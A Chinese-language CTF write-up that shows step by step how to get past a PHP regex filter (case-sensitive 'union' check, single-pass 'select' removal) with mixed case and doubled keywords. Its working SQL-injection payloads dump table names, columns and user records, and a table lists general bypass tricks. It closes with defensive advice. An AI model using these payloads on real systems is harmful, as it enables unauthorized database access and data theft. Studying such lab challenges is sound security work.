这是一道经典的 CTF Web 安全题,核心考点是PHP preg_match/preg_replace 组合过滤下的 SQL 注入绕过,通过大小写变形 + 双写关键词,成功突破防护拿到 Flag,全程保姆级复现。


一、题目环境与源码分析

1. 题目环境

目标 URL:http://180.76.235.121:33259/?id=1 请求方式:GET 型 漏洞类型:字符型 SQL 注入

2. 关键防护代码解析

题目给出了核心的 PHP 过滤逻辑,我们逐行拆解:

php

运行

<?php
// 提示代码(其他代码未指出):
if (preg_match('/union/', $id)) {
    die('no union');
}
$id = preg_replace('/select/i', '', $id);
?>
  • 防护 1:preg_match('/union/', $id)/i修饰符,仅匹配小写union关键词,一旦匹配成功,直接终止程序并输出no union
  • 防护 2:preg_replace('/select/i', '', $id)/i修饰符,不区分大小写匹配select,并将匹配到的内容替换为空字符串,实现 “删除” 效果。

二、绕过思路拆解

我们的目标是构造能同时绕过两层防护的 SQL 注入 Payload,核心思路分为两步:

1. 绕过unionpreg_match过滤

由于正则/union/仅匹配小写,我们可以直接使用大小写变形绕过:

  • 原关键词:union
  • 变形后:Union / UNION / uNiOn(只要不全小写即可)
  • 原理:preg_match('/union/', $id) 只会识别连续的小写字母,对大小写混合的变形不敏感。

2. 绕过selectpreg_replace过滤

preg_replace的特性是单次匹配替换,我们可以利用 “双写关键词” 的方式,让中间的select被替换为空,前后部分拼接还原出完整的select

  • 原关键词:select
  • 变形后:seselectlect
  • 替换过程:seselectlect → 匹配中间的select并替换为空 → 拼接得到select

三、实战步骤与 Payload 构造

步骤 1:确认注入点与闭合方式

  • 正常访问:/?id=1,页面正常输出内容。
  • 测试注入:/?id=1',页面报错,说明是字符型注入,需要用单引号'闭合 SQL 语句。

步骤 2:构造绕过的联合查询 Payload

结合前面的绕过思路,我们先构造查询当前数据库名的 Payload:

plaintext

?id=1' Union seselectlect 1,database() %23
  • 1':闭合原 SQL 语句的单引号,让后续语句能被执行。
  • Union:大写变形,绕过preg_matchunion小写匹配。
  • seselectlect:双写select,绕过preg_replace的删除逻辑,还原为select
  • 1,database():联合查询的字段(这里是 2 列,对应两个位置),查询当前数据库名。
  • %23:URL 编码的#,用于注释掉原 SQL 语句后面的内容,避免语法错误。

步骤 3:执行 Payload 并获取关键信息

发送上述 Payload 后,页面成功返回了数据库信息,并给出提示:

好像报错注入也用不了,不显示报错内容啊!数据库名是一个文件名,访问这个文件试试!

这说明我们的 Payload 已经成功绕过防护并执行了 SQL 语句,接下来可以继续用同样的方式查询表名、列名和 Flag。


四、完整注入流程与 Flag 获取

1. 查询表名

plaintext

?id=1' Union seselectlect 1,group_concat(table_name) from information_schema.tables where table_schema=database() %23

执行后得到表名:users

2. 查询列名

plaintext

?id=1' Union seselectlect 1,group_concat(column_name) from information_schema.columns where table_name='users' %23

执行后得到列名:id,username,password

3. 查询用户数据与 Flag

plaintext

?id=1' Union seselectlect 1,concat(username,':',password) from users %23

执行后成功拿到数据,其中password字段即为 Flag: username:1 password:flag_0fb5aa9e7.txt


五、原理总结与拓展

1. 本次绕过的核心原理

表格

防护方式 绕过方法 原理说明
preg_match('/union/', $id) 大小写变形(如Union 正则无/i修饰符,仅匹配小写关键词
preg_replace('/select/i', '', $id) 双写关键词(如seselectlect 单次替换特性,中间的关键词被删除后,前后拼接还原

2. 同类过滤的通用绕过技巧

表格

过滤场景 绕过方式 示例
无大小写匹配的preg_match 大小写变形、插入注释 KeyWordkey/*word*/
不区分大小写的preg_replace 双写关键词、嵌套关键词 kekeywordyword → 替换后为keyword
多关键词过滤 编码绕过(URL 编码、Unicode 编码)、分段拼接 %73%65%6c%65%63%74(URL 编码的select

3. 防御建议

  • 正则匹配必须添加/i修饰符,实现大小写不敏感匹配;
  • 对输入进行多次循环过滤,避免单次替换的绕过;
  • 禁止直接拼接用户输入到 SQL 语句,使用预编译语句(Prepared Statement) 从根本上防止 SQL 注入。

六、结语

这道题是 CTF 中非常经典的 “正则过滤绕过 SQL 注入” 题,核心在于理解preg_matchpreg_replace的执行顺序与特性,利用大小写和双写的组合技巧突破防护。这类题目不仅能帮我们深入理解 WAF 的防护逻辑,也能为后续更复杂的绕过场景打下基础。

更多推荐